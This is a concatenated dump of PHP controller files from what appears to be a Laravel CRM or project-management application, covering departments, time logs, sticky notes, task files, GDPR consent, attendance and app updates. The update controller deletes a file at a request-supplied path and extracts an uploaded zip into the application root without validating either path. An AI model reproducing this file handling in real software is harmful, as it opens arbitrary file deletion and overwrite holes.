Team::with('childs')->where('team_name', 'like', '%' . $text . '%')->get(); $id = []; foreach ($searchParent as $item) { array_push($id, $item->parent_id); } $item = $searchParent->whereIn('id', $id)->pluck('id'); $this->chartDepartments = $searchParent; if ($text != '' && !is_null($item)) { foreach ($this->chartDepartments as $item) { $item['parent_id'] = null; } } $parent = array(); foreach ($this->chartDepartments as $department) { array_push($parent, $department->id); if ($department->childs) { $this->child($department->childs); } } $this->children = Team::whereIn('id', $this->arr)->get(['id', 'team_name', 'parent_id']); $this->parents = Team::whereIn('id', $parent)->get(['id', 'team_name']); $this->chartDepartments = $this->parents->merge($this->children); } else { $this->chartDepartments = Team::get(['id', 'team_name', 'parent_id']); } $this->departments = ($text != '') ? Team::with('childs')->where('team_name', 'like', '%' . $text . '%')->get() : Team::with('childs')->where('parent_id', null)->get(); $html = view('departments-hierarchy.chart_tree', $this->data)->render(); $organizational = view('departments-hierarchy.chart_organization', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'organizational' => $organizational]); } public function child($child) { foreach ($child as $item) { array_push($this->arr, $item->id); if ($item->childs) { $this->child($item->childs); } } } // Search filter end public function getMembers($id) { $options = ''; $userData = []; $userId = explode(',', request()->get('userId')); if ($id == 0) { $members = User::allEmployees(null,true); foreach ($members as $item) { $self_select = (user() && user()->id == $item->id) ? '' . __('app.itsYou') . '' : ''; $options .= ''; } } else { $members = collect([]); $departmentIds = explode(',', $id); foreach ($departmentIds as $departmentId) { $members = $members->concat(User::departmentUsers($departmentId)); } foreach ($members as $item) { $selected = ''; if (isset($userId)){ if (in_array($item->id, $userId)) { $selected = 'selected'; } } $self_select = (user() && user()->id == $item->id) ? '' . __('app.itsYou') . '' : ''; $options .= ''; $url = route('employees.show', [$item->id]); $userData[] = ['id' => $item->id, 'value' => $item->name, 'image' => $item->image_url, 'link' => $url]; } } return Reply::dataOnly(['status' => 'success', 'data' => $options, 'userData' => $userData]); } } Http/Controllers/TicketReplyTemplatesController.php000064400000005004150325104510016657 0ustar00pageTitle = 'app.menu.replyTemplates'; $this->activeSettingMenu = 'ticket_reply_templates'; } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('ticket-settings.create-ticket-reply-template-modal'); } /** * @param StoreTemplate $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreTemplate $request) { $template = new TicketReplyTemplate(); $template->reply_heading = trim_editor($request->reply_heading); $template->reply_text = $request->description; $template->save(); return Reply::success(__('messages.recordSaved')); } /** * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function edit($id) { $this->template = TicketReplyTemplate::findOrFail($id); return view('ticket-settings.edit-ticket-reply-template-modal', $this->data); } /** * @param UpdateTemplate $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateTemplate $request, $id) { $template = TicketReplyTemplate::findOrFail($id); $template->reply_heading = $request->reply_heading; $template->reply_text = $request->description; $template->save(); return Reply::success(__('messages.templateUpdateSuccess')); } /** * @param int $id * @return array */ public function destroy($id) { TicketReplyTemplate::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function fetchTemplate(Request $request) { $templateId = $request->templateId; $template = TicketReplyTemplate::findOrFail($templateId); return Reply::dataOnly(['replyText' => $template->reply_text, 'status' => 'success']); } } Http/Controllers/TimelogCalendarController.php000064400000014607150325104510015604 0ustar00pageTitle = 'app.menu.timeLogs'; $this->middleware(function ($request, $next) { abort_403(!in_array('timelogs', $this->user->modules)); return $next($request); }); } /** * @param Request $request * @return array|\Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function index(Request $request) { $viewPermission = $this->viewTimelogPermission; abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $userId = UserService::getUserId(); if (request('start') && request('end')) { $viewTimelogPermission = user()->permission('view_timelogs'); $startDate = Carbon::parse(request('start'))->startOfDay()->toDateTimeString(); $endDate = Carbon::parse(request('end'))->endOfDay()->toDateTimeString(); $projectId = $request->projectID; $employee = $request->employee; $approved = $request->approved; $invoice = $request->invoice; $timelogs = ProjectTimeLog::select( DB::raw('sum(total_minutes) as total_minutes'), DB::raw("DATE_FORMAT(start_time,'%Y-%m-%d') as start"), DB::raw("DATE_FORMAT(end_time,'%Y-%m-%d') as end"), DB::raw("(SELECT MAX(end_time) FROM project_time_logs AS ptl2 WHERE DATE(ptl2.start_time) = DATE(project_time_logs.start_time)) as max_end_date"), DB::raw('GROUP_CONCAT(project_time_logs.id) as ids'), // DB::raw("(SELECT MAX(DATE_FORMAT(end_time, '%Y-%m-%d')) FROM project_time_logs AS ptl2 WHERE DATE(ptl2.start_time) = DATE(project_time_logs.start_time)) as end"), 'start_time', 'end_time' ) ->leftJoin('projects', 'projects.id', '=', 'project_time_logs.project_id') ->where('approved', 1) ->whereNotNull('end_time') ->whereBetween('start_time', [$startDate, $endDate]) ->whereHas('task', function ($query) { $query->whereNull('deleted_at'); }); if (!is_null($employee) && $employee !== 'all') { $timelogs = $timelogs->where('project_time_logs.user_id', $employee); } if (!is_null($projectId) && $projectId !== 'all') { $timelogs = $timelogs->where('project_time_logs.project_id', '=', $projectId); } if (!is_null($approved) && $approved !== 'all') { if ($approved == 2) { $timelogs = $timelogs->whereNull('project_time_logs.end_time'); } else { $timelogs = $timelogs->where('project_time_logs.approved', '=', $approved); } } if (!is_null($invoice) && $invoice !== 'all') { if ($invoice == 0) { $timelogs = $timelogs->where('project_time_logs.invoice_id', '=', null); } else if ($invoice == 1) { $timelogs = $timelogs->where('project_time_logs.invoice_id', '!=', null); } } if ($viewTimelogPermission == 'added') { $timelogs = $timelogs->where('project_time_logs.added_by', $userId); } if ($viewTimelogPermission == 'owned') { $timelogs = $timelogs->where(function ($q) use ($userId) { $q->where('project_time_logs.user_id', '=', $userId); if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', $userId); } }); } if ($viewTimelogPermission == 'both') { $timelogs = $timelogs->where(function ($q) use ($userId) { $q->where('project_time_logs.user_id', '=', $userId); $q->orWhere('project_time_logs.added_by', '=', $userId); if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', $userId); } }); } $companyTimezone = $this->company->timezone; $timelogs = $timelogs->groupBy('start') ->get() ->map(function ($timelog) use ($companyTimezone) { // Convert start_time and end_time to company timezone $start_time = $timelog->start_time->timezone($companyTimezone); $end_time = $timelog->end_time->timezone($companyTimezone); $max_end_time = Carbon::parse($timelog->max_end_date)->timezone($companyTimezone); // Format start and end as per company timezone $timelog->start = $start_time->format('Y-m-d'); $timelog->end = $end_time->format('Y-m-d'); // Assign to custom attributes directly $timelog->setAttribute('start', $timelog->start); $timelog->setAttribute('end', $timelog->end); return $timelog; }); $calendarData = array(); foreach ($timelogs as $key => $value) { $calendarData[] = [ 'id' => $key + 1, 'title' => $value->hours_only, 'start' => $value->start_time->timezone($this->company->timezone), 'end' => Carbon::parse($value->max_end_date)->timezone($this->company->timezone), 'allDay'=> ($value->start == $value->end) ? true : false, ]; } return $calendarData; } $this->timelogMenuType = 'calendar'; if (!request()->ajax()) { $this->employees = User::allEmployees(null, true, ($viewPermission == 'all' ? 'all' : null)); $this->projects = Project::allProjects(); } return view('timelogs.calendar', $this->data); } } Http/Controllers/StickyNoteController.php000064400000005710150325104510014641 0ustar00pageTitle = 'app.menu.stickyNotes'; } public function index() { $this->stickyNotes = StickyNote::where('user_id', user()->id)->orderByDesc('updated_at')->get(); $this->pageTitle = __('app.menu.stickyNotes'); $this->view = 'sticky-notes.ajax.notes'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('sticky-notes.index', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create() { $this->stickyNotes = StickyNote::where('user_id', user()->id)->orderByDesc('updated_at')->get(); $this->pageTitle = __('modules.sticky.addNote'); $this->view = 'sticky-notes.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('sticky-notes.index', $this->data); } public function store(StoreStickyNote $request) { $sticky = new StickyNote(); $sticky->note_text = $request->notetext; $sticky->colour = $request->colour; $sticky->user_id = user()->id; $sticky->save(); return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('sticky-notes.index')]); } public function show($id) { $this->stickyNotes = StickyNote::where('user_id', user()->id)->where('id', $id)->firstOrFail(); $this->pageTitle = __('app.note') . ' ' . __('app.details'); $this->view = 'sticky-notes.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('sticky-notes.index', $this->data); } public function edit($id) { $this->stickyNote = StickyNote::where('user_id', user()->id)->where('id', $id)->firstOrFail(); $this->pageTitle = __('app.editNote'); $this->view = 'sticky-notes.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('sticky-notes.index', $this->data); } public function update(UpdateStickyNote $request, $id) { $sticky = StickyNote::findOrFail($id); $sticky->note_text = $request->notetext; $sticky->colour = $request->colour; $sticky->save(); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('sticky-notes.index')]); } public function destroy($id) { StickyNote::destroy($id); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('sticky-notes.index')]); } } Http/Controllers/TaskFileController.php000064400000010303150325104510014241 0ustar00pageIcon = 'icon-layers'; $this->pageTitle = 'app.menu.taskFiles'; } /** * @param Request $request * @return mixed|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(Request $request) { $this->addPermission = user()->permission('add_task_files'); $task = Task::findOrFail($request->task_id); $taskUsers = $task->users->pluck('id')->toArray(); $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); abort_403(!( $this->addPermission == 'all' || ($this->addPermission == 'added' && ($task->added_by == user()->id || $task->added_by == $this->userId || in_array($task->added_by, $this->clientIds))) || ($this->addPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->addPermission == 'added' && (in_array(user()->id, $taskUsers) || $task->added_by == user()->id || $task->added_by == $this->userId || in_array($task->added_by, $this->clientIds))) )); if ($request->hasFile('file')) { foreach ($request->file as $fileData) { $file = new TaskFile(); $file->task_id = $request->task_id; $filename = Files::uploadLocalOrS3($fileData, TaskFile::FILE_PATH.'/' . $request->task_id); $file->user_id = $this->user->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); $this->logTaskActivity($task->id, $this->user->id, 'fileActivity', $task->board_column_id); } $this->files = TaskFile::where('task_id', $request->task_id)->orderByDesc('id'); $viewTaskFilePermission = user()->permission('view_task_files'); if ($viewTaskFilePermission == 'added') { $this->files = $this->files->where('added_by', user()->id); } $this->files = $this->files->get(); $view = view('tasks.files.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } /** * @param Request $request * @param int $id * @return array * @throws \Throwable */ public function destroy(Request $request, $id) { $file = TaskFile::findOrFail($id); $this->deletePermission = user()->permission('delete_task_files'); $userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $userId)->pluck('client_id')->toArray(); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && ($file->added_by == user()->id || $file->added_by == $userId || in_array($file->added_by, $this->clientIds))))); TaskFile::destroy($id); $this->files = TaskFile::where('task_id', $file->task_id)->orderByDesc('id')->get(); $view = view('tasks.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } /** * @param int $id * @return \Symfony\Component\HttpFoundation\BinaryFileResponse|\Symfony\Component\HttpFoundation\StreamedResponse */ public function download($id) { $file = TaskFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); $this->viewPermission = user()->permission('view_task_files'); $userId = UserService::getUserId(); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && ($file->added_by == user()->id || $file->added_by == $userId)))); return download_local_s3($file, 'task-files/' . $file->task_id . '/' . $file->hashname); } } Http/Controllers/PublicLeadGdprController.php000064400000006021150325104510015362 0ustar00public_lead_edit) { return Reply::error('messages.unAuthorisedUser'); } $lead = Deal::whereRaw('md5(id) = ?', $id)->firstOrFail(); $lead->company_name = $request->company_name; $lead->website = $request->website; $lead->address = $request->address; $lead->client_name = $request->client_name; $lead->client_email = $request->client_email; $lead->mobile = $request->mobile; $lead->note = trim_editor($request->note); $lead->status_id = $request->status; $lead->source_id = $request->source; $lead->next_follow_up = $request->next_follow_up; $lead->save(); return Reply::success('messages.updateSuccess'); } public function consent($hash) { $this->pageTitle = 'modules.gdpr.consent'; $this->gdprSetting = gdpr_setting(); abort_if(!$this->gdprSetting->consent_leads, 404); $lead = Deal::where('hash', $hash)->firstOrFail(); $this->consents = PurposeConsent::with(['lead' => function($query) use($lead) { $query->where('lead_id', $lead->id) ->orderByDesc('created_at'); }])->get(); $this->lead = $lead; return view('public-gdpr.consent', $this->data); } public function updateConsent(Request $request, $id) { $lead = Deal::whereRaw('md5(id) = ?', $id)->firstOrFail(); $allConsents = $request->has('consent_customer') ? $request->consent_customer : []; foreach ($allConsents as $allConsentId => $allConsentStatus) { $newConsentLead = new PurposeConsentLead(); $newConsentLead->lead_id = $lead->id; $newConsentLead->purpose_consent_id = $allConsentId; $newConsentLead->status = $allConsentStatus; $newConsentLead->ip = $request->ip(); $newConsentLead->save(); } return Reply::success('messages.updateSuccess'); } public function removeLeadRequest(RemoveLeadRequest $request) { $gdprSetting = gdpr_setting(); if(!$gdprSetting->lead_removal_public_form) { return Reply::error('messages.unAuthorisedUser'); } $lead = Deal::findOrFail($request->lead_id); $removal = new RemovalRequestLead(); $removal->lead_id = $request->lead_id; $removal->name = $lead->company_name; $removal->description = trim_editor($request->description); $removal->save(); return Reply::success('modules.gdpr.removalRequestSuccess'); } } Http/Controllers/IncomeVsExpenseReportController.php000064400000014270150325104510017015 0ustar00pageTitle = 'app.menu.incomeVsExpenseReport'; } public function index() { abort_403(user()->permission('view_income_expense_report') != 'all'); $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); if (request()->ajax()) { $this->chartData = $this->getGraphData(); $html = view('reports.income-expense.chart', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'totalEarning' => currency_format($this->chartData['totalEarning'], company()->currency_id), 'totalExpense' => currency_format($this->chartData['totalExpense'], company()->currency_id)]); } return view('reports.income-expense.index', $this->data); } public function getGraphData() { $graphData = []; $incomes = []; $fromDate = now($this->company->timezone)->startOfMonth()->toDateString(); $toDate = now($this->company->timezone)->toDateString(); if (request()->startDate !== null && request()->startDate != 'null' && request()->startDate != '') { $fromDate = Carbon::createFromFormat($this->company->date_format, request()->startDate)->toDateString(); } if (request()->endDate !== null && request()->endDate != 'null' && request()->endDate != '') { $toDate = Carbon::createFromFormat($this->company->date_format, request()->endDate)->toDateString(); } $invoices = Payment::join('currencies', 'currencies.id', '=', 'payments.currency_id') ->where(DB::raw('DATE(`paid_on`)'), '>=', $fromDate) ->where(DB::raw('DATE(`paid_on`)'), '<=', $toDate) ->where('payments.status', 'complete') ->orderBy('paid_on', 'ASC') ->get([ DB::raw('DATE_FORMAT(paid_on,"%d-%M-%y") as date'), DB::raw('YEAR(paid_on) year, MONTH(paid_on) month'), DB::raw('amount as total'), 'currencies.id as currency_id', 'payments.exchange_rate', 'payments.default_currency_id' ]); foreach ($invoices as $invoice) { if((is_null($invoice->default_currency_id) && is_null($invoice->exchange_rate)) || (!is_null($invoice->default_currency_id) && Company()->currency_id != $invoice->default_currency_id)) { $currency = Currency::findOrFail($invoice->currency_id); $exchangeRate = $currency->exchange_rate; } else { $exchangeRate = $invoice->exchange_rate; } if (!isset($incomes[$invoice->date])) { $incomes[$invoice->date] = 0; } if ($invoice->currency_id != $this->company->currency_id && $invoice->total > 0 && $exchangeRate > 0) { /** @phpstan-ignore-next-line */ $incomes[$invoice->date] += floatval($invoice->total) * floatval($exchangeRate); } else { $incomes[$invoice->date] += floatval($invoice->total); } } $expenses = []; $expenseResults = Expense::join('currencies', 'currencies.id', '=', 'expenses.currency_id') ->where(DB::raw('DATE(`purchase_date`)'), '>=', $fromDate) ->where(DB::raw('DATE(`purchase_date`)'), '<=', $toDate) ->where('expenses.status', 'approved') ->get([ 'expenses.price', 'expenses.purchase_Date as date', DB::raw('DATE_FORMAT(purchase_date,\'%d-%M-%y\') as date'), 'currencies.id as currency_id', 'expenses.exchange_rate', 'expenses.default_currency_id' ]); foreach ($expenseResults as $expenseResult) { if((is_null($expenseResult->default_currency_id) && is_null($expenseResult->exchange_rate)) || (!is_null($expenseResult->default_currency_id) && Company()->currency_id != $expenseResult->default_currency_id)) { $currency = Currency::findOrFail($expenseResult->currency_id); $exchangeRate = $currency->exchange_rate; } else { $exchangeRate = $expenseResult->exchange_rate; } if (!isset($expenses[$expenseResult->date])) { $expenses[$expenseResult->date] = 0; } if ($expenseResult->currency_id != $this->company->currency_id && $expenseResult->price > 0 && $exchangeRate > 0) { /** @phpstan-ignore-next-line */ $expenses[$expenseResult->date] += floatval($expenseResult->price) * floatval($exchangeRate); } else { $expenses[$expenseResult->date] += floatval($expenseResult->price); } } $dates = array_keys(array_merge($incomes, $expenses)); foreach ($dates as $date) { $graphData[] = [ 'y' => $date, 'a' => isset($incomes[$date]) ? round($incomes[$date], 2) : 0, 'b' => isset($expenses[$date]) ? round($expenses[$date], 2) : 0 ]; } usort($graphData, function ($a, $b) { $t1 = strtotime($a['y']); $t2 = strtotime($b['y']); return $t1 - $t2; }); $graphData = collect($graphData); $data['labels'] = $graphData->pluck('y'); $data['values'][] = $graphData->pluck('a'); $data['values'][] = $graphData->pluck('b'); $data['totalEarning'] = $graphData->sum('a'); $data['totalExpense'] = $graphData->sum('b'); $data['colors'] = ['#1D82F5', '#d30000']; $data['name'][] = __('app.income'); $data['name'][] = __('app.expense'); return $data; } } Http/Controllers/AttendanceSettingController.php000064400000016531150325104510016154 0ustar00pageTitle = 'app.menu.attendanceSettings'; $this->activeSettingMenu = 'attendance_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_attendance_setting') == 'all' && in_array('attendance', user_modules()))); return $next($request); }); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function index() { $this->ipAddresses = []; $this->attendanceSetting = AttendanceSetting::first(); $this->monthlyReportRoles = json_decode($this->attendanceSetting->monthly_report_roles); $this->roles = Role::where('name', '<>', 'client')->get(); if (json_decode($this->attendanceSetting->ip_address)) { $this->ipAddresses = json_decode($this->attendanceSetting->ip_address, true); } $tab = request('tab'); switch ($tab) { case 'shift': $this->weekMap = Holiday::weekMap(); $this->employeeShifts = EmployeeShift::where('shift_name', '<>', 'Day Off')->get(); $this->view = 'attendance-settings.ajax.shift'; break; case 'qrcode': $this->qr = Builder::create() ->writer(new PngWriter()) ->encoding(new Encoding('UTF-8')) ->data((route('settings.qr-login', ['hash' => company()->hash]))) ->errorCorrectionLevel(ErrorCorrectionLevel::High) ->size(300) ->margin(10) ->roundBlockSizeMode(RoundBlockSizeMode::Margin) ->validateResult(false) ->build(); $this->view = 'attendance-settings.ajax.qrcode'; break; case 'shift-rotation': return $this->shiftRotation(); break; default: $this->view = 'attendance-settings.ajax.attendance'; break; } $this->activeTab = $tab ?: 'attendance'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('attendance-settings.index', $this->data); } public function shiftRotation() { $this->pageTitle = 'app.menu.shiftRotation'; $this->activeTab = request('tab') ?: 'overview'; $this->view = 'attendance-settings.ajax.shift-rotation'; $dataTable = new ShiftRotationDataTable(true); return $dataTable->render('attendance-settings.index', $this->data); } /** * @param UpdateAttendanceSetting $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ //phpcs:ignore public function update(UpdateAttendanceSetting $request, $id) { $setting = company()->attendanceSetting; $attendanceSetting = AttendanceSetting::find(company()->id); if (request()->auto_clock_in == 'yes' && $attendanceSetting->qr_enable == 1) { return Reply::error(__('messages.fristSignAndQrCodeError')); } $setting->employee_clock_in_out = ($request->employee_clock_in_out == 'yes') ? 'yes' : 'no'; $setting->radius_check = ($request->radius_check == 'yes') ? 'yes' : 'no'; $setting->ip_check = ($request->ip_check == 'yes') ? 'yes' : 'no'; $setting->radius = $request->radius; $setting->ip_address = json_encode($request->ip); $setting->alert_after = $request->alert_after; $setting->week_start_from = $request->week_start_from; $setting->alert_after_status = ($request->alert_after_status == 'on') ? 1 : 0; $setting->save_current_location = ($request->save_current_location) ? 1 : 0; $setting->allow_shift_change = ($request->allow_shift_change) ? 1 : 0; $setting->auto_clock_in = ($request->auto_clock_in) ? 'yes' : 'no'; $setting->show_clock_in_button = ($request->show_clock_in_button == 'yes') ? 'yes' : 'no'; $setting->auto_clock_in_location = $request->auto_clock_in_location; $setting->monthly_report = ($request->monthly_report) ? 1 : 0; $setting->monthly_report_roles = json_encode($request->monthly_report_roles); $setting->save(); session()->forget(['attendance_setting','company']); return Reply::success(__('messages.updateSuccess')); } public function attendanceShift($defaultAttendanceSettings) { $checkPreviousDayShift = EmployeeShiftSchedule::with('shift')->where('user_id', user()->id) ->where('date', now(company()->timezone)->subDay()->toDateString()) ->first(); $checkTodayShift = EmployeeShiftSchedule::with('shift')->where('user_id', user()->id) ->where('date', now(company()->timezone)->toDateString()) ->first(); $backDayFromDefault = Carbon::parse(now(company()->timezone)->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_start_time); $backDayToDefault = Carbon::parse(now(company()->timezone)->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_end_time); if ($backDayFromDefault->gt($backDayToDefault)) { $backDayToDefault->addDay(); } $nowTime = Carbon::createFromFormat('Y-m-d H:i:s', now(company()->timezone)->toDateTimeString(), 'UTC'); if ($checkPreviousDayShift && $nowTime->betweenIncluded($checkPreviousDayShift->shift_start_time, $checkPreviousDayShift->shift_end_time)) { $attendanceSettings = $checkPreviousDayShift; } else if ($nowTime->betweenIncluded($backDayFromDefault, $backDayToDefault)) { $attendanceSettings = $defaultAttendanceSettings; } else if ($checkTodayShift && ($nowTime->betweenIncluded($checkTodayShift->shift_start_time, $checkTodayShift->shift_end_time) || $nowTime->gt($checkTodayShift->shift_end_time) || (!$nowTime->betweenIncluded($checkTodayShift->shift_start_time, $checkTodayShift->shift_end_time) && $defaultAttendanceSettings->show_clock_in_button == 'no')) ) { $attendanceSettings = $checkTodayShift; } else if ($checkTodayShift && !is_null($checkTodayShift->shift->early_clock_in)) { $attendanceSettings = $checkTodayShift; } else { $attendanceSettings = $defaultAttendanceSettings; } return $attendanceSettings->shift; } } Http/Controllers/PusherSettingsController.php000064400000004040150325104510015527 0ustar00pageTitle = 'app.menu.pusherSettings'; $this->pageIcon = 'icon-settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_notification_setting') !== 'all'); return $next($request); }); } // phpcs:ignore public function update(UpdateRequest $request, $id) { if ($request->status == 'active') { $checkPusher = new Pusher( $request->pusher_app_key, $request->pusher_app_secret, $request->pusher_app_id, [ 'cluster' => $request->pusher_cluster, 'useTLS' => $request->force_tls ] ); try { $checkPusher->trigger('test-pusher-channel', 'test-pusher-message', ['message' => 'done']); } catch(\Exception $e) { return Reply::dataOnly(['error' => $e->getMessage()]); } } $pusher = pusher_settings(); $pusher->pusher_app_id = $request->pusher_app_id; $pusher->pusher_app_key = $request->pusher_app_key; $pusher->pusher_app_secret = $request->pusher_app_secret; $pusher->pusher_cluster = $request->pusher_cluster; $pusher->force_tls = $request->force_tls; $pusher->status = $request->status == 'active' ? 1 : 0; $pusher->taskboard = $request->taskboard ? 1 : 0; $pusher->messages = $request->messages ? 1 : 0; $pusher->save(); session(['pusher_settings' => PusherSetting::first()]); return Reply::successWithData(__('messages.updateSuccess'), ['status' => $pusher->status]); } } Http/Controllers/UpdateAppController.php000064400000004334150325104510014431 0ustar00pageTitle = 'app.menu.updates'; $this->pageIcon = 'ti-reload'; $this->activeSettingMenu = 'update_settings'; $this->middleware(function ($request, $next) { abort_403(!user()->hasRole('admin')); return $next($request); }); } public function index() { try { $results = DB::select('select version()'); $this->mysql_version = $results[0]->{'version()'}; $this->databaseType = 'MySQL Version'; if (str_contains($this->mysql_version, 'Maria')) { $this->databaseType = 'Maria Version'; } } catch (\Exception $e) { $this->mysql_version = null; $this->databaseType = 'MySQL Version'; } $this->reviewed = file_exists(storage_path('reviewed')); return view('update-settings.index', $this->data); } public function store(UploadInstallRequest $request) { config(['filesystems.default' => 'storage']); $path = storage_path('app') . '/Modules/' . $request->file->getClientOriginalName(); if (file_exists($path)) { File::delete($path); } $request->file->storeAs('/', $request->file->getClientOriginalName()); } public function deleteFile(Request $request) { $filePath = $request->filePath; File::delete($filePath); return Reply::success(__('messages.deleteSuccess')); } public function install(Request $request) { File::put(public_path() . '/install-version.txt', 'complete'); $filePath = $request->filePath; $zip = Zip::open($filePath); // extract whole archive $zip->extract(base_path()); Artisan::call('optimize:clear'); Session::flush(); } } Http/Controllers/InvoicePaymentDetailController.php000064400000005364150325104510016627 0ustar00pageTitle = 'app.menu.financeSettings'; $this->activeSettingMenu = 'invoice_settings'; } /** * Show the form for creating a new resource. */ public function create() { return view('invoice-settings.ajax.payment-create'); } /** * Store a newly created resource in storage. */ public function store(InvoicePaymentRequest $request) { $this->addPermission = user()->permission('manage_project_category'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $payment = new InvoicePaymentDetail(); $payment->title = $request->title; $payment->payment_details = $request->payment_details; $payment->company_id = $this->company->id; if ($request->hasFile('image')) { $payment->image = Files::uploadLocalOrS3($request->image, 'offline-method', 300); } $payment->save(); return Reply::success(__('messages.recordSaved')); } /** * Show the form for editing the specified resource. */ public function edit(string $id) { $this->payment = InvoicePaymentDetail::findOrFail($id); return view('invoice-settings.ajax.payment-edit', $this->data); } /** * Update the specified resource in storage. */ public function update(InvoicePaymentRequest $request, string $id) { $payment = InvoicePaymentDetail::findOrFail($id); $payment->title = $request->title; $payment->payment_details = $request->payment_details; if ($request->image_delete == 'yes') { Files::deleteFile($request->image, 'offline-method'); $payment->image = null; } if ($request->hasFile('image')) { Files::deleteFile($payment->image, 'offline-method'); $payment->image = Files::uploadLocalOrS3($request->image, 'offline-method', 300); } $payment->save(); return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. */ public function destroy(string $id) { $this->deletePermission = user()->permission('manage_project_category'); abort_403(!in_array($this->deletePermission, ['all', 'added'])); $payment = InvoicePaymentDetail::findOrFail($id); $payment->delete(); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/GdprSettingsController.php000064400000015076150325104510015170 0ustar00pageTitle = 'app.menu.gdpr'; $this->activeSettingMenu = 'gdpr_settings'; $this->gdprSetting = GdprSetting::first(); $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_gdpr_setting') == 'all' && in_array('client', user_roles()))); return $next($request); }); } public function index() { $this->view = 'gdpr-settings.ajax.general'; $tab = request('tab'); switch ($tab) { case 'right-to-erasure': $this->view = 'gdpr-settings.ajax.right-to-erasure'; break; case 'right-to-data-portability': $this->view = 'gdpr-settings.ajax.right-to-data-portability'; break; case 'right-to-informed': $this->view = 'gdpr-settings.ajax.right-to-informed'; break; case 'right-to-access': $this->view = 'gdpr-settings.ajax.right-to-access'; break; case 'consent-settings': $this->view = 'gdpr-settings.ajax.consent-settings'; break; case 'consent-lists': return $this->consentList(); case 'removal-requests': return $this->removalRequest(); case 'removal-requests-lead': return $this->removalRequestLead(); default: $this->view = 'gdpr-settings.ajax.general'; break; } $this->activeTab = $tab ?: 'general'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('gdpr-settings.index', $this->data); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function updateGeneral(Request $request) { $this->gdprSetting->update($request->all()); session()->forget('gdpr_setting'); cache()->forget('global-setting'); return Reply::success(__('messages.gdprUpdated')); } public function storeConsent(CreateRequest $request) { $consent = new PurposeConsent(); $consent->create($request->all()); session()->forget('gdpr_setting'); cache()->forget('global-setting'); return Reply::success(__('messages.gdprUpdated')); } public function updateConsent(CreateRequest $request, $id) { $consent = PurposeConsent::findOrFail($id); $consent->update($request->all()); session()->forget('gdpr_setting'); cache()->forget('global-setting'); return Reply::success(__('messages.gdprUpdated')); } public function addConsent() { return view('gdpr-settings.create-consent-modal', $this->data); } public function editConsent($id) { $this->consent = PurposeConsent::findOrFail($id); return view('gdpr-settings.edit-consent-modal', $this->data); } public function removalRequest() { $this->view = 'gdpr-settings.ajax.removal-request'; $dataTable = new CustomerDataRemovalDataTable(); $tab = request('tab'); $this->activeTab = $tab ?: 'removal-requests'; $this->view = 'gdpr-settings.ajax.removal-request'; return $dataTable->render('gdpr-settings.index', $this->data); } public function removalRequestLead() { $this->view = 'gdpr-settings.ajax.removal-request-lead'; $dataTable = new LeadDataRemovalDataTable(); $tab = request('tab'); $this->activeTab = $tab ?: 'removal-requests-lead'; $this->view = 'gdpr-settings.ajax.removal-request-lead'; return $dataTable->render('gdpr-settings.index', $this->data); } public function consentList() { $this->view = 'gdpr-settings.ajax.consent-lists'; $dataTable = new ConsentDataTable(); $tab = request('tab'); $this->activeTab = $tab ?: 'consent'; $this->view = 'gdpr-settings.ajax.consent-lists'; return 